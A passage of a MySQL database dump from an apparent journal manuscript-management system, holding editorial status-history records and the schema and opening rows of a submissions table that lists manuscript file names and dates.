08:30:54','Publisher has been Assigned Editor',14892,'Publisher',972),(134495,'2024-05-20 08:31:08','Publisher has been Assigned Editor',14893,'Publisher',972),(134496,'2024-05-20 08:45:43','Manuscript Submitted by Publisher',14896,'',1050),(134497,'2024-05-20 11:16:41','Publisher has been Assigned Editor',14895,'Publisher',48),(134498,'2024-05-20 11:16:53','Publisher has been Assigned Editor',14878,'Publisher',376),(134499,'2024-05-20 11:16:59','Publisher has been Assigned Editor',14894,'Publisher',48),(134500,'2024-05-20 11:17:34','Publisher has Invited Reviewer',14895,'Publisher',48),(134501,'2024-05-20 11:17:37','Publisher has Invited Reviewer',14895,'Publisher',48),(134502,'2024-05-20 11:17:40','Publisher has Invited Reviewer',14895,'Publisher',48),(134503,'2024-05-20 11:17:43','Publisher has Invited Reviewer',14895,'Publisher',48),(134504,'2024-05-20 11:17:46','Publisher has Invited Reviewer',14895,'Publisher',48),(134505,'2024-05-20 11:17:49','Publisher has Invited Reviewer',14895,'Publisher',48),(134506,'2024-05-20 11:17:52','Publisher has Invited Reviewer',14895,'Publisher',48),(134507,'2024-05-20 11:17:55','Publisher has Invited Reviewer',14895,'Publisher',48),(134508,'2024-05-20 11:17:58','Publisher has Invited Reviewer',14895,'Publisher',48),(134509,'2024-05-20 11:18:01','Publisher has Invited Reviewer',14895,'Publisher',48),(134510,'2024-05-20 11:18:04','Publisher has Invited Reviewer',14895,'Publisher',48),(134511,'2024-05-20 11:18:34','Publisher has Invited Reviewer',14894,'Publisher',48),(134512,'2024-05-20 11:18:37','Publisher has Invited Reviewer',14894,'Publisher',48),(134513,'2024-05-20 11:18:46','Publisher has Invited Reviewer',14894,'Publisher',48),(134514,'2024-05-20 11:18:49','Publisher has Invited Reviewer',14894,'Publisher',48),(134515,'2024-05-20 11:19:13','Publisher has Invited Reviewer',14894,'Publisher',48),(134516,'2024-05-20 11:19:16','Publisher has Invited Reviewer',14894,'Publisher',48),(134517,'2024-05-20 11:19:19','Publisher has Invited Reviewer',14894,'Publisher',48),(134518,'2024-05-20 11:19:22','Publisher has Invited Reviewer',14894,'Publisher',48),(134519,'2024-05-20 11:19:25','Publisher has Invited Reviewer',14894,'Publisher',48),(134520,'2024-05-20 11:19:28','Publisher has Invited Reviewer',14894,'Publisher',48),(134521,'2024-05-20 11:19:31','Publisher has Invited Reviewer',14894,'Publisher',48),(134522,'2024-05-20 11:19:34','Publisher has Invited Reviewer',14894,'Publisher',48),(134523,'2024-05-20 11:19:37','Publisher has Invited Reviewer',14894,'Publisher',48),(134524,'2024-05-20 11:19:40','Publisher has Invited Reviewer',14894,'Publisher',48),(134525,'2024-05-20 11:19:43','Publisher has Invited Reviewer',14894,'Publisher',48),(134526,'2024-05-21 03:54:44','Publisher has been Assigned Editor',14896,'',1050),(134527,'2024-05-23 07:39:53','Editor has Accepted to review Manuscript',14792,'Editor',1705),(134528,'2024-05-23 07:40:14','Editor has been Editor Decision Accepted article',14792,'Editor',1705),(134529,'2024-05-23 07:42:20','Editor has Accepted to review Manuscript',14791,'Editor',1452),(134530,'2024-05-23 07:42:40','Editor has been Editor Decision Accepted article',14791,'Editor',1452),(134531,'2024-05-23 07:42:58','Editor has Accepted to review Manuscript',14878,'Editor',1452),(134532,'2024-05-23 07:43:17','Editor has been Editor Decision Accepted article',14878,'Editor',1452),(134533,'2024-05-23 07:44:34','Editor has Accepted to review Manuscript',14790,'Editor',1245),(134534,'2024-05-23 07:51:50','Editor has been Editor Decision Accepted article',14790,'Editor',1245),(134535,'2024-05-23 07:52:48','Editor has Accepted to review Manuscript',14789,'Editor',1011),(134536,'2024-05-23 07:53:06','Editor has been Editor Decision Accepted article',14789,'Editor',1011),(134537,'2024-05-23 07:55:45','Editor has Accepted to review Manuscript',14793,'Editor',1781),(134538,'2024-05-23 07:56:11','Editor has been Editor Decision Accepted article',14793,'Editor',1781),(134539,'2024-05-23 08:06:25','Publisher has been Accepted Articles  article',14793,'Publisher',376),(134540,'2024-05-23 08:06:28','Publisher has been Accepted Articles  article',14793,'Publisher',376),(134541,'2024-05-23 08:07:27','Publisher has been Accepted Articles  article',14792,'Publisher',376),(134542,'2024-05-23 08:08:39','Publisher has been Accepted Articles  article',14791,'Publisher',376),(134543,'2024-05-23 08:09:39','Publisher has been Accepted Articles  article',14790,'Publisher',376),(134544,'2024-05-23 08:10:35','Publisher has been Accepted Articles  article',14789,'Publisher',376),(134545,'2024-05-23 08:14:06','Editor has Accepted to review Manuscript',14044,'Editor',1011),(134546,'2024-05-23 08:15:25','Editor has been Editor Decision Accepted article',14789,'Editor',1011),(134547,'2024-05-23 08:16:19','Publisher has been Accepted Articles  article',14789,'Publisher',376),(134548,'2024-05-23 08:19:18','Editor has been Editor Decision Accepted article',14790,'Editor',1245),(134549,'2024-05-23 08:31:21','Editor has been Editor Decision Accepted article',14791,'Editor',1452),(134550,'2024-05-23 08:31:47','Editor has been Editor Decision Accepted article',14791,'Editor',1452),(134551,'2024-05-23 08:34:36','Editor has been Editor Decision Accepted article',14792,'Editor',1705),(134552,'2024-05-23 08:35:26','Publisher has been Accepted Articles  article',14792,'Publisher',376),(134553,'2024-05-23 08:37:02','Editor has been Editor Decision Accepted article',14793,'Editor',1781),(134554,'2024-05-23 08:58:07','Editor has been Editor Decision Accepted article',14626,'Editor',1011),(134555,'2024-05-23 09:00:34','Publisher has been Accepted Articles  article',14626,'Publisher',376),(134556,'2024-05-23 09:23:24','Editor has been Editor Decision Accepted article',14626,'Editor',1011),(134557,'2024-05-23 09:24:46','Publisher has been Accepted Articles  article',14626,'Publisher',376),(134558,'2024-05-23 09:53:30','Publisher has been Accepted Articles  article',14790,'Publisher',376),(134559,'2024-05-23 09:58:40','Editor has been Editor Decision Accepted article',14790,'Editor',1245),(134560,'2024-05-23 09:59:18','Publisher has been Accepted Articles  article',14790,'Publisher',376),(134561,'2024-05-24 04:27:27','Manuscript Submitted by Publisher',14897,'',1050),(134562,'2024-05-24 04:29:20','Manuscript Submitted by Publisher',14898,'',1050),(134563,'2024-05-24 08:06:00','Publisher has been Assigned Editor',14898,'',1050),(134564,'2024-05-24 08:06:19','Publisher has been Assigned Editor',14897,'',1050),(134565,'2024-05-25 07:47:08','Publisher has been Accepted Articles  article',14763,'Publisher',84),(134566,'2024-05-25 07:48:01','Publisher has been Accepted Articles  article',14762,'Publisher',84),(134567,'2024-05-25 07:48:57','Publisher has been Accepted Articles  article',14761,'Publisher',84),(134568,'2024-05-25 07:49:46','Publisher has been Accepted Articles  article',14760,'Publisher',84),(134569,'2024-05-25 07:49:54','Publisher has been Accepted Articles  article',14760,'Publisher',84),(134570,'2024-05-25 07:49:56','Publisher has been Accepted Articles  article',14760,'Publisher',84),(134571,'2024-05-25 07:50:58','Publisher has been Accepted Articles  article',14759,'Publisher',84),(134572,'2024-05-25 07:52:09','Publisher has been Accepted Articles  article',14758,'Publisher',84),(134573,'2024-05-25 07:53:31','Publisher has been Accepted Articles  article',14757,'Publisher',84),(134574,'2024-05-25 07:54:32','Publisher has been Accepted Articles  article',14756,'Publisher',84),(134575,'2024-05-25 07:55:54','Publisher has been Accepted Articles  article',14755,'Publisher',84),(134576,'2024-05-25 07:58:35','Publisher has been Accepted Articles  article',14754,'Publisher',84),(134577,'2024-05-25 10:12:37','Publisher has been Accepted Articles  article',14774,'Publisher',994),(134578,'2024-05-25 10:14:04','Publisher has been Accepted Articles  article',14773,'Publisher',994),(134579,'2024-05-25 10:15:02','Publisher has been Accepted Articles  article',14772,'Publisher',994),(134580,'2024-05-25 10:16:05','Publisher has been Accepted Articles  article',14771,'Publisher',994),(134581,'2024-05-25 10:18:23','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134582,'2024-05-25 10:18:28','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134583,'2024-05-25 10:18:29','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134584,'2024-05-25 10:18:32','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134585,'2024-05-25 10:18:33','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134586,'2024-05-25 10:18:34','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134587,'2024-05-25 10:18:36','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134588,'2024-05-25 10:18:40','Publisher has been Accepted Articles  article',14770,'Publisher',994),(134589,'2024-05-25 10:19:49','Publisher has been Accepted Articles  article',14769,'Publisher',994),(134590,'2024-05-25 10:20:05','Publisher has been Accepted Articles  article',14769,'Publisher',994),(134591,'2024-05-25 10:20:57','Publisher has been Accepted Articles  article',14768,'Publisher',994),(134592,'2024-05-25 10:22:29','Publisher has been Accepted Articles  article',14767,'Publisher',994),(134593,'2024-05-25 10:23:32','Publisher has been Accepted Articles  article',14766,'Publisher',994),(134594,'2024-05-25 10:24:38','Publisher has been Accepted Articles  article',14765,'Publisher',994),(134595,'2024-05-27 04:11:13','Manuscript Submitted by Publisher',14899,'Publisher',645),(134596,'2024-05-27 04:14:13','Manuscript Submitted by Publisher',14900,'Publisher',645),(134597,'2024-05-27 04:15:39','Manuscript Submitted by Publisher',14901,'Publisher',645),(134598,'2024-05-27 04:15:59','Publisher has been Accepted Articles  article',14831,'Publisher',48),(134599,'2024-05-27 04:16:50','Manuscript Submitted by Publisher',14902,'Publisher',645),(134600,'2024-05-27 04:18:53','Manuscript Submitted by Publisher',14903,'Publisher',645),(134601,'2024-05-27 04:20:51','Manuscript Submitted by Publisher',14904,'Publisher',645),(134602,'2024-05-27 04:21:49','Manuscript Submitted by Publisher',14905,'Publisher',645),(134603,'2024-05-27 04:24:09','Manuscript Submitted by Publisher',14906,'Publisher',645),(134604,'2024-05-27 04:25:36','Manuscript Submitted by Publisher',14907,'Publisher',645),(134605,'2024-05-27 04:29:25','Manuscript Submitted by Publisher',14908,'Publisher',645),(134606,'2024-05-27 06:03:26','Reviewer has submitted comments',14895,'Reviewer',14534),(134607,'2024-05-27 06:04:59','Editor has Accepted to review Manuscript',14895,'Editor',194),(134608,'2024-05-27 06:05:50','Editor has been Editor Decision Accepted article',14895,'Editor',194),(134609,'2024-05-27 06:06:19','Manuscript Updated',14895,'Publisher',48),(134610,'2024-05-27 06:06:33','Publisher has been Accepted Articles  article',14895,'Publisher',48),(134611,'2024-05-27 06:06:45','Manuscript Updated',14895,'Publisher',48),(134612,'2024-05-27 08:18:01','Editor has Accepted to review Manuscript',14779,'Editor',357),(134613,'2024-05-27 08:18:33','Editor has been Editor Decision Accepted article',14779,'Editor',357),(134614,'2024-05-27 08:20:39','Publisher has been Accepted Articles  article',14779,'Publisher',248),(134615,'2024-05-27 08:26:04','Reviewer has submitted comments',14894,'Reviewer',21550),(134616,'2024-05-27 08:26:56','Editor has Accepted to review Manuscript',14780,'Editor',357),(134617,'2024-05-27 08:27:35','Editor has been Editor Decision Accepted article',14780,'Editor',357),(134618,'2024-05-27 08:27:45','Editor has been Editor Decision Accepted article',14780,'Editor',357),(134619,'2024-05-27 08:27:56','Editor has been Editor Decision Accepted article',14780,'Editor',357),(134620,'2024-05-27 08:28:38','Editor has Accepted to review Manuscript',14894,'Editor',194),(134621,'2024-05-27 08:28:51','Publisher has been Accepted Articles  article',14780,'Publisher',248),(134622,'2024-05-27 08:29:11','Editor has been Editor Decision Accepted article',14894,'Editor',194),(134623,'2024-05-27 08:29:54','Manuscript Updated',14894,'Publisher',48),(134624,'2024-05-27 08:30:35','Publisher has been Accepted Articles  article',14894,'Publisher',48),(134625,'2024-05-27 08:30:49','Manuscript Updated',14894,'Publisher',48),(134626,'2024-05-27 08:33:46','Editor has Accepted to review Manuscript',14781,'Editor',357),(134627,'2024-05-27 08:34:04','Editor has been Editor Decision Accepted article',14781,'Editor',357),(134628,'2024-05-27 08:35:36','Publisher has been Accepted Articles  article',14781,'Publisher',248),(134629,'2024-05-27 08:36:30','Editor has Accepted to review Manuscript',14782,'Editor',357),(134630,'2024-05-27 08:37:08','Editor has been Editor Decision Accepted article',14782,'Editor',357),(134631,'2024-05-27 08:38:46','Publisher has been Accepted Articles  article',14782,'Publisher',248),(134632,'2024-05-27 08:40:00','Publisher has been Assigned Editor',14899,'Publisher',645),(134633,'2024-05-27 08:40:19','Publisher has been Assigned Editor',14900,'Publisher',645),(134634,'2024-05-27 08:40:36','Publisher has been Assigned Editor',14908,'Publisher',645),(134635,'2024-05-27 08:41:10','Publisher has been Assigned Editor',14907,'Publisher',645),(134636,'2024-05-27 08:41:30','Publisher has been Assigned Editor',14906,'Publisher',645),(134637,'2024-05-27 08:41:34','Editor has Accepted to review Manuscript',14783,'Editor',1674),(134638,'2024-05-27 08:42:10','Editor has been Editor Decision Accepted article',14783,'Editor',1674),(134639,'2024-05-27 08:42:32','Publisher has been Assigned Editor',14905,'Publisher',645),(134640,'2024-05-27 08:42:58','Publisher has been Assigned Editor',14904,'Publisher',645),(134641,'2024-05-27 08:43:16','Publisher has been Accepted Articles  article',14783,'Publisher',248),(134642,'2024-05-27 08:43:31','Publisher has been Assigned Editor',14903,'Publisher',645),(134643,'2024-05-27 08:44:24','Publisher has been Assigned Editor',14902,'Publisher',645),(134644,'2024-05-27 08:44:59','Publisher has been Assigned Editor',14901,'Publisher',645),(134645,'2024-05-27 08:45:31','Editor has been Editor Decision Accepted article',14783,'Editor',1674),(134646,'2024-05-27 09:00:52','Publisher has been Accepted Articles  article',14783,'Publisher',248),(134647,'2024-05-27 09:00:58','Publisher has been Accepted Articles  article',14783,'Publisher',248),(134648,'2024-05-27 09:02:05','Editor has Accepted to review Manuscript',14784,'Editor',1674),(134649,'2024-05-27 09:02:29','Editor has been Editor Decision Accepted article',14784,'Editor',1674),(134650,'2024-05-27 09:03:48','Publisher has been Accepted Articles  article',14784,'Publisher',248),(134651,'2024-05-27 09:04:41','Editor has Accepted to review Manuscript',14785,'Editor',1674),(134652,'2024-05-27 09:05:06','Editor has been Editor Decision Accepted article',14785,'Editor',1674),(134653,'2024-05-27 09:05:24','Editor has Accepted to review Manuscript',14786,'Editor',1674),(134654,'2024-05-27 09:05:32','Editor has been Editor Decision Accepted article',14786,'Editor',1674),(134655,'2024-05-27 09:05:49','Editor has Accepted to review Manuscript',14787,'Editor',1674),(134656,'2024-05-27 09:05:58','Editor has been Editor Decision Accepted article',14787,'Editor',1674),(134657,'2024-05-27 09:07:35','Publisher has been Accepted Articles  article',14785,'Publisher',248),(134658,'2024-05-27 09:08:29','Publisher has been Accepted Articles  article',14786,'Publisher',248),(134659,'2024-05-27 09:09:35','Publisher has been Accepted Articles  article',14787,'Publisher',248),(134660,'2024-05-27 12:08:23','Reviewer has submitted comments',14788,'Reviewer',21392),(134661,'2024-05-27 12:12:07','Editor has been Editor Decision Accepted article',14788,'Editor',195),(134662,'2024-05-27 12:14:21','Publisher has been Accepted Articles  article',14788,'Publisher',48),(134663,'2024-05-28 06:20:32','Reviewer has submitted comments',14794,'Reviewer',12531),(134664,'2024-05-28 06:22:53','Editor has been Editor Decision Accepted article',14794,'Editor',195),(134665,'2024-05-28 06:23:26','Publisher has been Accepted Articles  article',14794,'Publisher',48),(134666,'2024-05-28 21:26:04','Manuscript Submitted by Author using Submission form',14909,'Author',14900),(134667,'2024-05-29 04:32:09','Publisher has been Assigned Editor',14909,'Publisher',645),(134668,'2024-05-29 05:36:18','Reviewer has submitted comments',14741,'Reviewer',18593),(134669,'2024-05-29 05:37:04','Editor has Accepted to review Manuscript',14741,'Editor',193),(134670,'2024-05-29 05:37:16','Editor has been Editor Decision Accepted article',14741,'Editor',193),(134671,'2024-05-29 05:38:13','Publisher has been Accepted Articles  article',14741,'Publisher',48),(134672,'2024-05-29 05:59:47','Manuscript Submitted by Author',14910,'Author',13049),(134673,'2024-05-29 06:18:38','Editor has been Editor Decision Accepted article',14878,'Editor',1452),(134674,'2024-05-29 06:20:16','Editor has been Editor Decision Accepted article',14878,'Editor',1452),(134675,'2024-05-29 08:24:13','Editor has Accepted to review Manuscript',14795,'Editor',1807),(134676,'2024-05-29 08:24:14','Editor has Accepted to review Manuscript',14795,'Editor',1807),(134677,'2024-05-29 08:24:53','Editor has been Editor Decision Accepted article',14795,'Editor',1807),(134678,'2024-05-29 08:24:58','Editor has been Editor Decision Accepted article',14795,'Editor',1807),(134679,'2024-05-29 08:26:15','Editor has Accepted to review Manuscript',14799,'Editor',1807),(134680,'2024-05-29 08:26:27','Editor has been Editor Decision Accepted article',14799,'Editor',1807),(134681,'2024-05-29 08:26:49','Editor has Accepted to review Manuscript',14804,'Editor',1807),(134682,'2024-05-29 08:27:00','Editor has been Editor Decision Accepted article',14804,'Editor',1807),(134683,'2024-05-29 08:28:16','Editor has Accepted to review Manuscript',14796,'Editor',1802),(134684,'2024-05-29 08:28:26','Editor has been Editor Decision Accepted article',14796,'Editor',1802),(134685,'2024-05-29 08:30:07','Editor has Accepted to review Manuscript',14802,'Editor',1802),(134686,'2024-05-29 08:30:24','Editor has been Editor Decision Accepted article',14802,'Editor',1802),(134687,'2024-05-29 08:30:26','Editor has been Editor Decision Accepted article',14802,'Editor',1802),(134688,'2024-05-29 08:30:28','Editor has been Editor Decision Accepted article',14802,'Editor',1802),(134689,'2024-05-29 08:32:42','Editor has Accepted to review Manuscript',14797,'Editor',1793),(134690,'2024-05-29 08:32:53','Editor has been Editor Decision Accepted article',14797,'Editor',1793),(134691,'2024-05-29 08:35:18','Editor has Accepted to review Manuscript',14798,'Editor',1808),(134692,'2024-05-29 08:35:32','Editor has been Editor Decision Accepted article',14798,'Editor',1808),(134693,'2024-05-29 08:36:34','Editor has Accepted to review Manuscript',14803,'Editor',1808),(134694,'2024-05-29 08:36:51','Editor has been Editor Decision Accepted article',14803,'Editor',1808),(134695,'2024-05-29 08:39:04','Editor has Accepted to review Manuscript',14801,'Editor',1801),(134696,'2024-05-29 08:39:23','Editor has been Editor Decision Accepted article',14801,'Editor',1801),(134697,'2024-05-29 08:39:24','Editor has been Editor Decision Accepted article',14801,'Editor',1801),(134698,'2024-05-29 08:40:59','Editor has Accepted to review Manuscript',14800,'Editor',1800),(134699,'2024-05-29 08:41:17','Editor has been Editor Decision Accepted article',14800,'Editor',1800),(134700,'2024-05-29 08:43:54','Publisher has been Accepted Articles  article',14804,'Publisher',1009),(134701,'2024-05-29 08:45:28','Publisher has been Accepted Articles  article',14803,'Publisher',1009),(134702,'2024-05-29 08:45:33','Publisher has been Accepted Articles  article',14803,'Publisher',1009),(134703,'2024-05-29 08:46:33','Publisher has been Accepted Articles  article',14802,'Publisher',1009),(134704,'2024-05-29 08:47:28','Publisher has been Accepted Articles  article',14801,'Publisher',1009),(134705,'2024-05-29 08:48:41','Publisher has been Accepted Articles  article',14800,'Publisher',1009),(134706,'2024-05-29 08:48:44','Publisher has been Accepted Articles  article',14800,'Publisher',1009),(134707,'2024-05-29 08:49:49','Publisher has been Accepted Articles  article',14799,'Publisher',1009),(134708,'2024-05-29 08:51:11','Publisher has been Accepted Articles  article',14798,'Publisher',1009),(134709,'2024-05-29 08:52:13','Publisher has been Accepted Articles  article',14797,'Publisher',1009),(134710,'2024-05-29 08:53:09','Publisher has been Accepted Articles  article',14796,'Publisher',1009),(134711,'2024-05-29 08:54:08','Publisher has been Accepted Articles  article',14795,'Publisher',1009);
/*!40000 ALTER TABLE `status_history` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `submissions`
--

DROP TABLE IF EXISTS `submissions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `submissions` (
  `sb_id` int NOT NULL AUTO_INCREMENT,
  `m_id` int NOT NULL,
  `sb_file` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `sb_file_size` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `date` datetime DEFAULT NULL,
  `sb_active` int NOT NULL DEFAULT '1',
  `sb_type` int NOT NULL DEFAULT '1',
  `download_stat` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`sb_id`),
  KEY `FK_submissions` (`m_id`)
) ENGINE=InnoDB AUTO_INCREMENT=41001 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `submissions`
--

LOCK TABLES `submissions` WRITE;
/*!40000 ALTER TABLE `submissions` DISABLE KEYS */;
INSERT INTO `submissions` VALUES (703,422,'422-0-Manuscript-2019-07-18.doc','','2019-07-18 15:27:51',1,1,0),(704,423,'423-0-Manuscript-2019-07-18.docx','','2019-07-18 15:31:45',1,1,0),(706,425,'425-0-Manuscript-2019-07-18.docx','','2019-07-18 15:33:17',1,1,0),(709,427,'427-0-Manuscript-2019-07-18.docx','','2019-07-18 15:52:41',1,1,0),(710,428,'428-0-Manuscript-2019-07-18.doc','','2019-07-18 15:54:06',1,1,0),(711,429,'429-0-Manuscript-2019-07-18.docx','','2019-07-18 15:55:13',1,1,0),(712,430,'430-0-Manuscript-2019-07-18.docx','','2019-07-18 15:57:06',1,1,0),(739,453,'453-0-Manuscript-2019-07-19.docx','','2019-07-19 13:56:04',1,1,0),(895,548,'548-0-Manuscript-2019-07-23.doc','','2019-07-23 10:09:07',1,1,0),(896,549,'549-0-Manuscript-2019-07-23.docx','','2019-07-23 10:13:00',1,1,0),(902,555,'555-0-Manuscript-2019-07-23.docx','','2019-07-23 13:18:45',1,1,0),(904,557,'557-0-Manuscript-2019-07-23.docx','','2019-07-23 13:57:48',1,1,0),(911,563,'563-0-Manuscript-2019-07-23.pdf','','2019-07-23 18:38:45',1,1,0),(988,602,'602-0-Manuscript-2019-07-25.docx','','2019-07-25 09:59:26',1,1,0),(989,602,'602-1-Manuscript-2019-07-25.docx','','2019-07-25 09:59:26',1,1,0),(990,602,'602-2-Manuscript-2019-07-25.pdf','','2019-07-25 09:59:26',1,1,0),(991,602,'602-3-Manuscript-2019-07-25.docx','','2019-07-25 09:59:26',1,1,0),(1011,613,'613-0-Manuscript-2019-07-25.docx','','2019-07-25 15:40:55',1,1,0),(1012,613,'613-1-Manuscript-2019-07-25.doc','','2019-07-25 15:40:55',1,1,0),(1013,613,'613-2-Manuscript-2019-07-25.pptx','','2019-07-25 15:40:55',1,1,0),(1014,613,'613-1453-Manuscript-2019-07-25.docx','','2019-07-25 15:59:23',1,1,0),(1015,613,'613-530-Manuscript-2019-07-25.doc','','2019-07-25 15:59:23',1,1,0),(1036,627,'627-0-Manuscript-2019-07-26.docx','','2019-07-26 10:51:23',1,1,0),(1037,627,'627-1-Manuscript-2019-07-26.docx','','2019-07-26 10:51:23',1,1,0),(1038,627,'627-2-Manuscript-2019-07-26.pdf','','2019-07-26 10:51:23',1,1,0),(1039,628,'628-0-Manuscript-2019-07-26.docx','','2019-07-26 10:54:07',1,1,0),(1042,629,'629-2-Manuscript-2019-07-26.docx','','2019-07-26 10:56:47',1,1,0),(1043,629,'629-3-Manuscript-2019-07-26.jpg','','2019-07-26 10:56:47',1,1,0),(1044,629,'629-4-Manuscript-2019-07-26.jpg','','2019-07-26 10:56:47',1,1,0),(1045,629,'629-5-Manuscript-2019-07-26.jpg','','2019-07-26 10:56:47',1,1,0),(1046,630,'630-0-Manuscript-2019-07-26.docx','','2019-07-26 10:59:07',1,1,0),(1047,631,'631-0-Manuscript-2019-07-26.docx','','2019-07-26 11:02:26',1,1,0),(1187,715,'715-0-Manuscript-2019-07-29.docx','','2019-07-29 14:02:29',1,1,0),(1198,726,'726-0-Manuscript-2019-07-29.docx','','2019-07-29 17:50:57',1,1,0),(1244,747,'747-0-Manuscript-2019-07-30.docx','','2019-07-30 13:21:41',1,1,0),(1269,453,'453-1446-Manuscript-2019-07-30.docx','','2019-07-30 20:39:55',1,2,0),(1272,453,'453-54-Manuscript-2019-07-30.doc','','2019-07-30 20:41:15',1,2,0),(1376,816,'816-0-Manuscript-2019-08-01.docx','','2019-08-01 17:00:05',1,1,0),(1384,820,'820-0-Manuscript-2019-08-01.docx','','2019-08-01 17:51:03',1,1,0),(1545,917,'917-0-Manuscript-2019-08-05.pdf','','2019-08-05 23:53:07',1,1,0),(1613,969,'969-0-Manuscript-2019-08-07.docx','','2019-08-07 14:25:02',1,1,0),(1676,1011,'1011-0-Manuscript-2019-08-08.docx','','2019-08-08 15:05:05',1,1,0),(1699,1023,'1023-1-Manuscript-2019-08-08.docx','','2019-08-08 17:39:26',1,1,0),(1700,1024,'1024-0-Manuscript-2019-08-08.docx','','2019-08-08 17:42:02',1,1,0),(1701,1025,'1025-0-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1702,1025,'1025-1-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1703,1025,'1025-2-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1704,1025,'1025-3-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1705,1025,'1025-4-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1706,1025,'1025-5-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1707,1025,'1025-6-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1708,1025,'1025-7-Manuscript-2019-08-08.docx','','2019-08-08 17:46:21',1,1,0),(1816,627,'627-1255-Manuscript-2019-08-10.docx','','2019-08-10 03:35:20',1,1,0),(1925,555,'555-118-Manuscript-2019-08-12.docx','','2019-08-12 18:07:52',1,2,0),(1926,555,'555-1865-Manuscript-2019-08-12.docx','','2019-08-12 18:07:52',1,2,0),(2008,1023,'1023-840-Manuscript-2019-08-13.pdf','','2019-08-13 15:14:03',1,1,0),(2009,1023,'1023-607-Manuscript-2019-08-13.tif','','2019-08-13 15:14:03',1,1,0),(2011,1023,'1023-318-Manuscript-2019-08-13.docx','','2019-08-13 15:25:56',1,1,0),(2114,1246,'1246-0-Manuscript-2019-08-14.docx','','2019-08-14 18:49:08',1,1,0),(2192,1290,'1290-0-Manuscript-2019-08-16.docx','','2019-08-16 11:35:34',1,1,0),(2193,1290,'1290-1-Manuscript-2019-08-16.docx','','2019-08-16 11:35:34',1,1,0),(2340,1360,'1360-0-Manuscript-2019-08-18.docx','','2019-08-18 22:06:08',1,1,0),(2406,1394,'1394-0-Manuscript-2019-08-19.doc','','2019-08-19 14:06:04',1,1,0),(2505,1452,'1452-0-Manuscript-2019-08-20.docx','','2019-08-20 16:56:51',1,1,0),(2510,1457,'1457-0-Manuscript-2019-08-20.docx','','2019-08-20 19:02:35',1,1,0),(2536,1476,'1476-0-Manuscript-2019-08-21.docx','','2019-08-21 09:03:38',1,1,0),(2559,1497,'1497-0-Manuscript-2019-08-21.docx','','2019-08-21 15:18:15',1,1,0),(2560,1497,'1497-1-Manuscript-2019-08-21.docx','','2019-08-21 15:18:15',1,1,0),(2561,1497,'1497-2-Manuscript-2019-08-21.docx','','2019-08-21 15:18:15',1,1,0),(2562,1497,'1497-3-Manuscript-2019-08-21.docx','','2019-08-21 15:18:15',1,1,0),(2605,629,'629-95-Manuscript-2019-08-22.docx','','2019-08-22 07:16:43',1,1,0),(2606,629,'629-868-Manuscript-2019-08-22.docx','','2019-08-22 07:17:09',1,1,0),(2607,629,'629-1137-Manuscript-2019-08-22.docx','','2019-08-22 07:17:28',1,1,0),(2717,1023,'1023-661-Manuscript-2019-08-23.docx','','2019-08-23 16:30:11',1,2,0),(2718,1023,'1023-1319-Manuscript-2019-08-23.tif','','2019-08-23 16:30:11',1,2,0),(2724,1023,'1023-650-Manuscript-2019-08-23.docx','','2019-08-23 16:33:34',1,1,0),(2725,1023,'1023-749-Manuscript-2019-08-23.pdf','','2019-08-23 16:38:04',1,1,0),(2846,1674,'1674-0-Manuscript-2019-08-26.docx','','2019-08-26 04:59:06',1,1,0),(2848,1676,'1676-0-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2849,1676,'1676-1-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2850,1676,'1676-2-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2851,1676,'1676-3-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2852,1676,'1676-4-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2853,1676,'1676-5-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2854,1676,'1676-6-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(2855,1676,'1676-7-Manuscript-2019-08-26.docx','','2019-08-26 07:34:19',1,1,0),(3139,1863,'1863-0-Manuscript-2019-08-29.docx','','2019-08-29 16:02:44',1,1,0),(3140,1863,'1863-1-Manuscript-2019-08-29.docx','','2019-08-29 16:02:44',1,1,0),(3193,631,'631-1503-Manuscript-2019-08-30.docx','','2019-08-30 08:14:13',1,1,0),(3373,1998,'1998-0-Manuscript-2019-09-02.pdf','','2019-09-02 00:53:55',1,1,0),(3374,1998,'1998-1-Manuscript-2019-09-02.pdf','','2019-09-02 00:53:55',1,1,0),(3375,1998,'1998-2-Manuscript-2019-09-02.pdf','','2019-09-02 00:53:55',1,1,0),(3376,1998,'1998-3-Manuscript-2019-09-02.pdf','','2019-09-02 00:53:55',1,1,0),(3377,1998,'1998-4-Manuscript-2019-09-02.pdf','','2019-09-02 00:53:55',1,1,0),(3475,2051,'2051-0-Manuscript-2019-09-03.pdf','','2019-09-03 13:08:43',1,1,0),(3476,2051,'2051-1-Manuscript-2019-09-03.docx','','2019-09-03 13:08:43',1,1,0),(3534,2079,'2079-0-Manuscript-2019-09-03.docx','','2019-09-03 20:43:14',1,1,0),(3610,2120,'2120-0-Manuscript-2019-09-04.doc','','2019-09-04 